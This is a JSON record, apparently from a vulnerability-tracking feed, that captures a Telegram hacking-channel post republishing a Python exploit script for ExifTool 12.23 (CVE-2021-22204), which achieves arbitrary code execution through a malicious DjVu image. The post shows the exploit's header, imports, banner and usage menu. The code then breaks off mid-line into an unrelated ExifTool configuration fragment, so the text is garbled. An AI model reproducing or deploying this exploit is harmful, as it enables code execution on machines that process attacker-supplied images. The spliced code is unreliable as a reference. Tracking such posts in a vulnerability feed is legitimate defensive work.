{"uuid": "1461a4e0-ebeb-4eb0-a402-97aafb925e60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22204", "type": "seen", "source": "https://t.me/hacking_Attack/53061", "content": "Exploit Collector\nExifTool 12.23 Arbitrary Code Execution\n\nhttps://4.bp.blogspot.com/-hp3wB9AXd0k/WWlvDY5V44I/AAAAAAAAIKs/ScSIhWVAvDAhjeMkIwqbNby9r3gKQvOEgCLcBGAs/s1600/h128.png \nExifTool version 12.23 suffers from an arbitrary code execution vulnerability.\n\nSHA-256 | 64cc166efac5cd6f78570d3b6a1c98c138fa2b30ed3484dfc3395c62d10feda4\n\nDownload\n# Exploit Title: ExifTool 12.23 - Arbitrary Code Execution\n# Date: 04/30/2022\n# Exploit Author: UNICORD (NicPWNs & Dev-Yeoj)\n# Vendor Homepage: https://exiftool.org/\n# Software Link: https://github.com/exiftool/exiftool/archive/refs/tags/12.23.zip\n# Version: 7.44-12.23\n# Tested on: ExifTool 12.23 (Debian)\n# CVE: CVE-2021-22204\n# Source: https://github.com/UNICORDev/exploit-CVE-2021-22204\n# Description: Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image\n\n#!/usr/bin/env python3\n\n# Imports\nimport base64\nimport os\nimport subprocess\nimport sys\n\n# Class for colors\nclass color:\nred = '\\033[91m'\ngold = '\\033[93m'\nblue = '\\033[36m'\ngreen = '\\033[92m'\nno = '\\033[0m'\n\n# Print UNICORD ASCII Art\ndef UNICORD_ASCII():\nprint(rf\"\"\"\n{color.red}        _ __,~~~{color.gold}/{color.red}_{color.no}        {color.blue}__  ___  _______________  ___  ___{color.no}\n{color.red}    ,~~`( )_( )-\\|       {color.blue}/ / / / |/ /  _/ ___/ __ \\/ _ \\/ _ \\{color.no}\n{color.red}        |/|  `--.       {color.blue}/ /_/ /    // // /__/ /_/ / , _/ // /{color.no}\n{color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\\____/_/|_/___/\\___/\\____/_/|_/____/{color.green}....{color.no}\n\"\"\")\n\n# Print exploit help menu\ndef help():\nprint(r\"\"\"UNICORD Exploit for CVE-2021-22204\n\nUsage:\npython3 exploit-CVE-2021-22204.py -c \npython3 exploit-CVE-2021-22204.py -s  {\n0xc51b => {\nName => 'HasselbladExif',\nWritable => 'string',\nWriteGroup => 'IFD0',\n},\n},\n);\n1;\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:52.120038Z"}